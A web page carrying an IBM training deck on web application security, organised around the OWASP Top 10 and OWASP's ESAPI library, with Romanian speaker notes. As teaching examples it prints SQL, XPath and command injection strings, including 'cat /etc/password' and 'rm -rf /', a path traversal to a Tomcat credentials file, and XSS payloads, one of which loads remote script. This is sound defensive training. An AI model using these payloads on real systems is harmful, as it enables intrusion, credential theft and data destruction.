Solvay secure application layer v2015   sebaSolvay secure application layer v2015   seba
Solvay secure application layer v2015 seba
 
Web application vulnerability assessment
Web application vulnerability assessmentWeb application vulnerability assessment
Web application vulnerability assessment
 

Recently uploaded

"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptxLBM Solutions
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraDeakin University
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024BookNet Canada
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
Science&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfScience&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfjimielynbastida
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
Build your next Gen AI Breakthrough - April 2024
Build your next Gen AI Breakthrough - April 2024Build your next Gen AI Breakthrough - April 2024
Build your next Gen AI Breakthrough - April 2024Neo4j
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions
 

Recently uploaded (20)

"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptx
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning era
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
Science&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfScience&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdf
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping Elbows
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
Build your next Gen AI Breakthrough - April 2024
Build your next Gen AI Breakthrough - April 2024Build your next Gen AI Breakthrough - April 2024
Build your next Gen AI Breakthrough - April 2024
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food Manufacturing
 

Web Apps Security

  • 1.
  • 2. © 2014 IBM Corporation2 ● The code that we write is not safe ! ● Learn by exemplifying ● Introduce developer to security APIs
  • 3. © 2014 IBM Corporation3 Interesting facts ● Myth: We are secure because we have a firewall – 75% of vulnerabilities are at web application layer Gartner Group (2002 report) – Basically network layer protection just denies access to services ● Myth: I am safe because I‘m connected via HTTPS/SSL – HTTPS will just ensure that no one intercepts the information. – A web page can include static resources or other content from the same host via a non secure channel
  • 4. © 2014 IBM Corporation4 Interesting facts ● NASA counted 5,408 security breaches where some access was given or malicious software was installed. In 2011 alone they had 47 attacks they described as ―advanced persistent threats,‖ serious attacks by well-funded ―individuals or nations.‖ Of those, 13 succeeded, and one attack based in China gained complete access to Jet Propulsion Laboratory (JPL) systems — read, write, delete, add and delete users, modify logs, everything. ● Paul Marting ( NASA inspector general ) in a written testimony to US government ● Visa, MasterCard, AmericanExpress & Discover Financial Systems, were hit in March by a data-security breach when a third-party service provider ( Global Payments Inc.) discovered its systems were compromised ● www.reuters.com
  • 5. © 2014 IBM Corporation5 Let’s start with OWASP Top 10
  • 6. © 2014 IBM Corporation6 ● Open web application security project ( www.owasp.org) ● not-for-profit worldwide charitable organization focused on improving the security of application software. ● Users and adopters of APIs and standards: US Federal Trade Commision,Citibank, PwC, HP, IBM Global Services, US Bureau of Alcohol Tobacco and Firearms,etc. ● OWASP Top Ten 2013 ( the 10 most common security flaws found in web applications in 2013 ): ● A1 : Injection ● A2 : Broken Authentication and Session Management ● A3 : Cross-Site Scripting (XSS) ● A4 : Insecure Direct Object References ● A5 : Security Misconfiguration ● A6 : Sensitive Data Exposure ● A7 : Insecure Cryptographic Storage ● A8 : Cross-Site Request Forgery (CSRF) ● A9 : Using component with known vulnerabilities ● A10: Un-validated Redirects and Forwards OWASP Top Ten
  • 7. © 2014 IBM Corporation7 A1 Injection ● Various forms of injection ● SQL Injection ● Xpath injection ● Command injection ● Path based injection ● LDAP injection ● Etc.
  • 8. © 2014 IBM Corporation Select user_information from user_table where username='’' or 1=1 -– 'and password=’abc’ 8 A1 Injection Select user_information from user_table where username=’input username’ and password=’input password’ Web Server Application Server User Database User https SQL injection
  • 9. © 2014 IBM Corporation9 A1 Injection Xpath injection FindUserXPath becomes : //Employee[UserName/text()='blah' or 1=1 or 'a'='a' And Password/text()='blah'] Web Server Application Server User Database User https FindUserXPath = "//Employee[UserName/text()='" + Request("Username") + "' And Password/text()='" + Request("Password") + "']"; <?xml version="1.0" encoding="utf-8"?> <Employees> <Employee ID="1"> <FirstName>Arnold</FirstName> <LastName>Baker</LastName> <UserName>ABaker</UserName> <Password>SoSecret</Password> <Type>Admin</Type> </Employee> <Employee ID="2"> <FirstName>Peter</FirstName> <LastName>Pan</LastName> <UserName>PPan</UserName> <Password>NotTelling</Password> <Type>User</Type> </Employee> </Employees>
  • 10. © 2014 IBM Corporation10 A1 Injection Command injection Web Server Application Server User Database User https $ ls -l .profile ; cat /etc/password $ “ls -l” + request.getParameter(“file_name”)
  • 11. © 2014 IBM Corporation11 Path based injection ( manipulation / traversal ) ● Atacker gains access to system files by manipulating a 'path/to/file.txt' supplied as a parameter ● For plain files, one can browse through the file system with directory style paths ( ../../../../conf/tomcat-users.xml ) ● demo
  • 12. © 2014 IBM Corporation12 A3 Broken authentication and session management A2 Broken Authentication and Session Management Attacker uses leaks or flaws in the authentication or session management functions to impersonate users. • e.g., exposed accounts, passwords, session IDs
  • 13. © 2014 IBM Corporation13 A3 Broken authentication and session management ● Session ids should not be exposed in the URL ( http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJ UN2JV?dest=Hawaii ) ● They will get recorded in logs of servers, proxies and routers can be easily distributed ● Session cookies must be manipulated only by http headers sent by the server (HttpOnly flag) ● Sessions should timeout in accordance to application risk rating ● All navigation within that domain should be secure (https) because an attacker can 'snif' the session id and steal the session. ● Setting 'secure' flag on session cookies is a must. This way session cookie will not be sent on insecure channels ( e.g. including static resources or embedding remote html ) ● Session ids should change after a login attempt ● This prevents session fixation attacks when an attacker obtains (by some other means) the value of the session id and if the target user has a valid logged-in session on a server, the attacker is able to join the session just by setting the session cookie ● demo A2 Broken Authentication and Session Management
  • 14. © 2014 IBM Corporation14 A2 Cross site scripting A3 Cross site scripting ● Stored XSS ● Reflected XSS
  • 15. © 2014 IBM Corporation15 A2 Cross site scripting Stored XSS attacks ● An input field which is not properly validated will insert script tags besides the usual field value ● If the field is displayed literally in another part of the application, it will result in the code within the script tags being executed Web Server Application Server User Database User https Web Server Application Server User Database User https
  • 16. © 2014 IBM Corporation16 A2 Cross site scripting Other flavors of XSS ● Reflected input ● Input from the user is echoed to the screen. (e.g. error messages like 'input X is invalid' – in this case X can contain XSS code and more then often can be sent to a different user via an URL) ● Pretty much all tags are vulnerable to XSS: ● All tags contain event functions (onmouseover,onkeyup, etc.) and they can be passed in as input somewhere ● HTML attributes are also vulnerable ● E.g <frame>, <iframe> and <img> can have the src attribute javascript injectable ( e.g <iframe src=‖javascript:alert(1)‖/> will be executed by most browsers ) ● Even css style tags are vulnerable. ● demo
  • 17. © 2014 IBM Corporation Other flavors of XSS ● And XSS attack vector list goes on: ● <BODY BACKGROUND="javascript:alert('XSS')"> ● <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> ● <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> ● <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> ● <STYLE>.XSS{background- image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> ● Comprehensive list of vectors: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
  • 18. © 2014 IBM Corporation18 A2 Cross site scripting Dangerous use of eval ● This is usually done when behavior of page needs to be controlled from the server. ● E.g show different alert() windows. ● eval() function is the most dangerous. Do not put dynamic content in the eval() function. ● The reason for this is that validation of input which goes between the brackets of the eval() is hard to validate. You can basically write js and have the browser interpret it using a simple set of characters. ● In some cases js code can NOT be escaped/commented ( OWASP directive ), so it is really hard to defend against this attack. ● demo
  • 19. © 2014 IBM Corporation19 A4: Insecure Direct Object References & A5 Cross site request forgery A4: Insecure Direct Object References & CSRF ● Cross site request forgery (CSRF) ● Direct object references
  • 20. © 2014 IBM Corporation20 A4: Insecure Direct Object References & A5 Cross site request forgery Request forgery and weak access control ● Attacker will 'forge' request parameters based on 'similarities' between actions and navigation ● Easiest to forge will be ids which are usually sequential integers ● Normally all actions within an application should rely on authenticated principal(user) and NOT on supplied parameters ● demo
  • 21. © 2014 IBM Corporation21 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection A7 Insecure cryptographic storage & A9: Insufficient Transport Layer Protection
  • 22. © 2014 IBM Corporation22 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection Insecure HTTP header authentication ● Http header authentication is nothing but a Base64 encoding of 'username:password‗ ● Make sure all HTTP authenticated traffic is encrypted GET /exchange/ HTTP/1.1 Host: webmail.xxxx.xx Connection: keep-alive Cache-Control: max-age=0 Authorization: Basic dTI5ODMyOTpteV9wYXNzd29yZA== User-Agent: Mozilla/5.0 (Windows NT 5.1) ..... Accept:text/html,application/xhtml+xml,..... ..... dTI5ODMyOTpteV9wYXNzd29yZA== u298329:my_password
  • 23. © 2014 IBM Corporation Encryption algorithm strength Numar de caractere Algoritm incriptare Nr chei / secunda Alfabet Timp 5 Raw MD5 8754 a-z, A-Z 44 seconds 5 Raw MD 5 8754 a-z, A-Z, 0-9 1 minutes 46 seconds 5 Raw MD 5 8754 a-z, A-Z, 0-9, !@#$%^&*()_+= 4 minutes 53 seconds 5 Raw SHA-256 2600 a-z, A-Z 2 minutes 29 seconds 5 Raw SHA-256 2600 a-z, A-Z, 0-9 5 minutes 58 seconds 5 Raw SHA-256 2600 a-z, A-Z, 0-9, !@#$%^&*()_+= 16 minutes 28 seconds 6 Raw MD5 8754 a-z, A-Z 38 minutes 22 seconds 6 Raw MD 5 8754 a-z, A-Z, 0-9 1 hours 49 minutes 54 seconds 6 Raw MD 5 8754 a-z, A-Z, 0-9, !@#$%^&*()_+= 6 hours 11 minutes 46 seconds 6 Raw SHA-256 2600 a-z, A-Z 2 hours 9 minutes 13 seconds 6 Raw SHA-256 2600 a-z, A-Z, 0-9 6 hours 10 minutes 4 seconds 6 Raw SHA-256 2600 a-z, A-Z, 0-9, !@#$%^&*()_+= 20 hours 51 minutes 43 seconds 8 Raw MD5 8754 a-z, A-Z 72 days 1 hours 37 minutes 8 Raw MD 5 8754 a-z, A-Z, 0-9 293 days 9 hours 50 minutes 8 Raw MD 5 8754 a-z, A-Z, 0-9, !@#$%^&*()_+= 4 years 30 days 5 hours 57 minutes 8 Raw SHA-256 2600 a-z, A-Z 242 days 15 hours 29 minutes 8 Raw SHA-256 2600 a-z, A-Z, 0-9 2 years 257 days 9 hours 43 minutes 8 Raw SHA-256 2600 a-z, A-Z, 0-9, !@#$%^&*()_+= 13 years 272 days 15 hours 55 minutes
  • 24. © 2014 IBM Corporation24 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection Password strength Brute-forcing passwords • '1234567890' can be cracked in 472 s • 'plainpw' can be cracked in 420 s • 'PlainPw' can be cracked in 1681 s • 'Pl4inPw' can be cracked in 126 days • 'P|4inPw' can be cracked in 21 years
  • 25. © 2014 IBM Corporation25 A10 Unvalidated redirects and forwards A10 Unvalidated redirects and forwards
  • 26. © 2014 IBM Corporation26 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection Password strength Be careful when using forward() and include() • It‘s an internal mechanism which will bypass standard AS authorization • request.getRequestDispatcher(―protectedUrl‖) • forward() • include() • demo
  • 27. © 2014 IBM Corporation27 Mitigating security threats
  • 28. © 2014 IBM Corporation28 ● OWASP created the ESAPI in order to 'mitigate' the top 10 risks. The API is available in pretty much every language ( JEE,PHP, .NET,Python, Ruby, etc.) ● It is basically a collection of classes (API) that encapsulate the key security operations that an application needs ● It has been designed to make it easy for programmers to retrofit security into existing applications ● It is scalable at enterprise levels
  • 29. © 2014 IBM Corporation ● It addresses the following aspects: – Authentication – Access control – Input validation – Output encoding/escaping – Cryptography – Error handling and logging – Communication security – HTTP security – Security configuration – And many more… OWASP ESAPI
  • 30. © 2014 IBM Corporation30 Input and output validation Mitigating XSS and Injection attacks • Canonicalize input • Convert encoded %3c%3e → <> • Convert encoded &#x3c;&#x3e; → <> • Validate input (at least for these characters <>;:”'()'&) • Best practice is to throw away potentially harmful content. Do not try to 'clean up' the content, because many cleanup algorithms can be circumvented ( OWASP ) • e.g. some_string.replaceAll(“<script>”,””); attacker can just pass in “<scr<script>ipt>” and the result will be <script> • Attack vector can also be “< script >” • Can very well be “ < ScRiPt >” • Use a whitelist of characters instead of blacklist ( permitted vs unpermitted ). The blacklist can never be comprehensive enough. • Attacks can be extremely complex, so there is also a wide range of characters that can pose threats
  • 31. © 2014 IBM Corporation31 Input and output validation Mitigating XSS and Injection attacks • It is designed to throw meaningfull exception if an attack is suspected ●IntrusionException in case a potential attack is detected ( harmfull characters present) ● ValidationException in case an validation rules fail ( double encoding present and an attack is suspected) –For Http parameters ●ESAPI.validator().assertValidHTTPParameters(...) –For file path based parameters ●ESAPI.validator().getValidDirectoryPath(..) ●ESAPI.validator().getValidFileName(..) –For plain HTML input ●ESAPI.validator().getValidInput(..) Use ESAPI Validator
  • 32. © 2014 IBM Corporation32 Input and output validation ● Contextually encode output – For HTML ( e.g ESAPI HTML encoder ) ● ESAPI.encoder().encodeForHTML(..) – For tag attributes (e.g ESAPI HTML attribute encoder ) ● ESAPI.encoder().encodeForHTMLAttribute(..) – For CSS ( e.g ESAPI CSS encoder ) ● ESAPI.encoder().encodeForCSS(..) – For Javascript ( e.g. ESAPI Javascript encoder) ● ESAPI.encoder().encodeForJavascript(..) – For queries in LDAP Dbs: – demo ● ESAPI.encoder().encodeForDN(...) Mitigating XSS and Injection attacks Use ESAPI encoder
  • 33. © 2014 IBM Corporation33 Encoding of output example ● A developer can also encode output. Using the ESAPI.encoder() you can generate safe HTML, Js, CSS,... ● Below we are encoding this string → <>"'%&.()[]@#//-+ – Encoding for HTML : – &lt;&gt;&quot;&#x27;&#x25;&amp;.&#x28;&#x29;&#x5b;&#x5d;&#x 40;&#x23;&#x2f;&#x2f;-&#x2b; – Encoding for CSS : – 3c 3e 22 27 25 26 2e 28 29 5b 5d 40 23 2f 2f 2d 2b – Encoding for JS : – x3Cx3Ex22x27x25x26.x28x29x5Bx5Dx40x23x2Fx2Fx 2Dx2B – Encoding for html attribute : – &lt;&gt;&quot;&#x27;&#x25;&amp;.&#x28;&#x29;&#x5b;&#x5d;&#x 40;&#x23;&#x2f;&#x2f;-&#x2b;
  • 34. © 2014 IBM Corporation34 ● Keep things simple ● Use mature APIs/frameworks ● Don‘t give away info about the system ● 404 errors, exceptions, html comments ● Keep entire site under https ● Encode output contextually ● Validate input globally ● Keep sessionid safe ( httponly, secure ) ● Change it after successful login Checklist
  • 35. © 2014 IBM Corporation35 Thank you ! by Victor Bucutea

Editor's Notes

  1. It may seem safe, but it’s not. Vrem sa vedem de ce nu e ‘safe’ Nu putem fi 100% ‘safe’ insa putem tinde catre aceasta cifra Vom vedea exemple de atacuri, vulnerabilitati Speram sa avem must-have security list la sf. cursului O sa vedeme ca sistemee de securitate care nu sunt mature si testate sunt doar obstacole Un atacator doar va ‘ocoli’ obstacolele. Ce inseamna un API sigur si ce dezavantaje dpdv functional implica ele Va fi intotdeauna o balanta intre functionalitate, securitate si buget
  2. E firesc, doar blocam accesul la Services like RPC, Net-BIOS, FTP, etc. and it will never deny access to &amp;apos;exposed&amp;apos; services Nu ne pazeste de problemele de securitate din aplicatie. Punct. Ba chiar mai rau. HTTPS rosu in bara de browser inseamna conexiune interceptabila. Punct.
  3. Am copiat citatul litera cu litera E din 2011 insa e despre NASA
  4. OWASP – One stop shop in securitate. Organizatie non-profit, formata din lideri si experti in domeniu API-uri, teste de securitate automate, dummy vulnerable web-apps (WebGoat), tutoriale pentru imbunatatirea codului Incepem cu cele mai populare 10 tipuri de atacuri. Grupeaza 90% din atacurile potentiale insa nu vom putea intra in detaliu Vom trece doar prin cele cu bold Cele fara bold tin mai mult de configurare sau pur si simplu neglijenta (A6, A9)
  5. * Consta in ‘injectarea’ un string intr-un query sau intr-o comanda externa a.i. acel query sau acea comanda sa intoarca un alt rezultat sau sa faca alta actiune
  6. Observam ca suntem conectati prin HTTPS si in spatele firewall-ului In realitate query-ul e mult mai complicat Si vectorul de atac (‘ or 1=1 --) e mult mai complicat Prietenul lui cel mai bun Hibernate/JPA injection (Query-ul ar fi JPA si nu SQL) Poate da acces la mai multe date decat este autorizat user-ul ( modifcand clauza de where ) Poate modifica date unde utilizatorul nu are acces ( modificand clauza de where intr-un update stmt ) Cel mai rau se poate adauga ‘;’ si executa un query nou
  7. Un alt exemplu mai putin intalnit, pentru a arata ca injectia are f multe valente Insa odata ce exista o interogare XML cu Xpath , vulnerabilitatea apare
  8. Avem un camp de input a carui valoare va fi concatenata unei comenzi de sistem. Va afisa rezultatul ls –l. Voi introduce un vector de atac, si asta e rezultatul Asta se intampla cand output-ul comenzii se afiseaza pe ecran. In realitate nu e niciodata asa, insa poate introduce un input a.i. poate rula orice comanda !!! Cu drepturile procesului java.exe !!! Input mai putin evident Upload de excel ( in campurile caruia putem introduce orice , “” ) Ls –l .profile; rm –rf / Cel mai bun indicator al vulnerabilitatii este concatenarea string-urilor in query Uneori ascunsa intr-un API de build al query-ului Ca sa ne pazim Folositi intotdeauna parametrii query-ului (PreparedStatement, Query.setParameter, etc.) Folositi user cu drepturi restranse pentru conectarea la DB, LDAP, etc. Rulati AppServer-ul cu un user dedicat cu drepturi restranse Nu concatenati continut dinamic in linia de comanda ( care un bad practice oricum)
  9. Unul dintre cele mai ‘ascunse’ Vulnerabilitatea apare atunci cand folosim input dinamic pentru a lua o referinta la un fisier de pe disc FileInputStream, File, IOUtils http://localhost/WebGoat/attack?Screen=57&amp;menu=200 Dupa demo Cum ne pazim ? Validare de input Nu lasa utilizatorul sa introduca o cale catre fisier ( chiar si hidden parameters )
  10. HttpOnly &amp; Secure flags  configurabil in Servlet 3.0 prin &amp;lt;cookie-config&amp;gt; tag Avem o aplicatie care include o resursa cu adresa absoluta Clear jsessionid cookie from chrome://settings/cookies Open a browser and navigate to https://localhost:8443/web-security-test/ Notice that the tomcat 7.0.27 will set by default the HttpOnly and Secure flags BUT it will not set the secure flag if we first visit the address via a http connection Clear jsessionid cookie from chrome://settings/cookies Open a browser and navigate to http://localhost/web-security-test/ Notice that the image has the JSESSIONID in the request header The rabbit hole goes much deeper. Incarcam resurse statice din locuri mai putin evidente JS CSS (@import , background images, etc)
  11. http://localhost/WebGoat/attack?Screen=20&amp;menu=900&amp;stage=1 Ne logam cu Tom In campul de street introducem un &amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt; Ne logam cu Jerry Cautam dupa profilul lui Tom !!! Nu doar tag-ul de &amp;lt;script&amp;gt; este un vector XSS. Aproape orice tag HTML are event binding actions onmouseover, onkeyup Onclick &amp;lt;div onmouseover=“alert(1)”/&amp;gt;
  12. Executia src attribute depinde de la browser la browser a little-known feature, some CSS implementations permit JavaScript code to be embedded in stylesheets ( ex in I.E )
  13. Exploram putin contextele in care XSS poate aparea &amp;lt;SCRIPT&amp;gt; tag  hello User!&amp;quot;); console.log(&amp;apos;attack&amp;apos;);// inside eval()  &amp;quot;);var headID = document.getElementsByTagName(&amp;quot;head&amp;quot;)[0]; var newScript = document.createElement(&amp;quot;script&amp;quot;); newScript.type = &amp;quot;text/javascript&amp;quot;; newScript.src = &amp;quot;http://www.somedomain.com/somescript.js&amp;quot;; headID.appendChild(newScript);// 2 feluri de a ne pazi : Validare de input Pb complicata pentru ca acel continut dinamic poate fi in foarte multe contexte In exemplu variabila este afisata in context HTML Insa se poate afisa in context JS, CSS, atribut HTML, cookie, Header HTTP Incodare output Vom folosi API-urile ESAPI Mai toate framework-urile incodeaza output-ul, insa nu pentru toate contextele in care apare Un mod universal de a incoda absolut ORICE variabila
  14. Eval() … evalueaza un string ca si cod java script. Poate contine orice cod js valid. Rar intalnit continut dinamic in interiorul unui eval(). DACA este totus intalnit, atunci este EXTREM de susceptibil la un XSS
  15. Id-urile se pot ghici foarte usor. Enumerare prin ele si poti obtine acces la date pentru care nu esti autorizat Mai mult URL-ul se poate ghici : http://somehost/actions/updateUser ( cu id-ul pasat ca si parametru ) http://somehost/actions/deleteUser ( cu id-ul pasat ca si parametru ) http://localhost/WebGoat/attack?Screen=20&amp;menu=900&amp;stage=5 Larry isi poate vedea doar propriul profil Modificam ID-ul din option list la 110 Modificam si actiunea in DeleteProfile ( intuitiv ) si vedem ca Joane McDougal nu mai exista in lista NU expuneti id-uril in BD. Expuneti niste randomizare ale acestora Mai mult ca sigur id-urile respective sa fie folosite in alta parte a aplicatiei Mai mult un atacator itereaza prin id-uri Never trust supplied data ANYTHING in the HTTP Request can be altered METHOD (GET ,POST ) Query Headers Cookies Etc.
  16. Si DIGEST e doar o incodare MD5 a parolei, care poate fi f usor sparta ( mai jos )
  17. Masina pe care se face calculul este un 8 core i7 la 3.2 Ghz ( adica un laptop bun de la emag ) Timpul este suma duratelor de timp pentru a incripta toate variantele si a compara cu string-ul tinta. Parolele cu mix de alfa numeric si simboluri sunt enervante insa necesare * Source: http://calc.opensecurityresearch.com/
  18. Analizam un atac de brute-force NU unul de Dictionar Substitutie de caractere ( E = 3 , l =1 , etc. ) Secvente de key ( pe orizontala, pe diagonala, etc. )
  19. Folosit rar in practica, insa folosit des de framework-uri Demo http://localhost/web-redirect-test/admin/admin.jsp Login  403 Go to http://localhost/web-redirect-test/forward Go to http://localhost/web-redirect-test/include
  20. Vom studia cele cu bold
  21. Canonicalizarea inseamna aducerea la cea mai simpla forma de reprezentare ESAPI are un API pentru asa ceva Atacuri ce folosesc incodare dubla spre ex sunt complicate si nu pot fi usor prezentate Este un ‘good practice’, eviti double encoding-urile ( care sunt forme de atac )
  22. Daca vrei sa fii ‘mai catolic decat papa’ sau daca ai date f sensibile de protejat
  23. Let’s give it a try. Reflected XSS The iframe tag will need to use the validator Apparently javascript&amp;#x3a;console.log&amp;#x28;&amp;#x27;x&amp;#x27;&amp;#x29; is a valid javascript attack vector Script tag ( encode JS ) CSS Styles ( encode for CSS ) Eval (encode for JS)
  24. Encoding-ul este un safety-net Un strat in plus care protejeaza de atacurile ce au trecut de restul straturilor Incodand in felul asta poti fi sigur ca nu scapa nici un vector de atac in nici un context
  25. In cazul in care se doreste output HTML ( forms, etc. ) insa se vrea sa fie ‘clean’. Pentru a emula rich user content ( e.g. un document HTML), in general se foloseste MARKDOWN language ( wikis, stackoverflow, forumuri).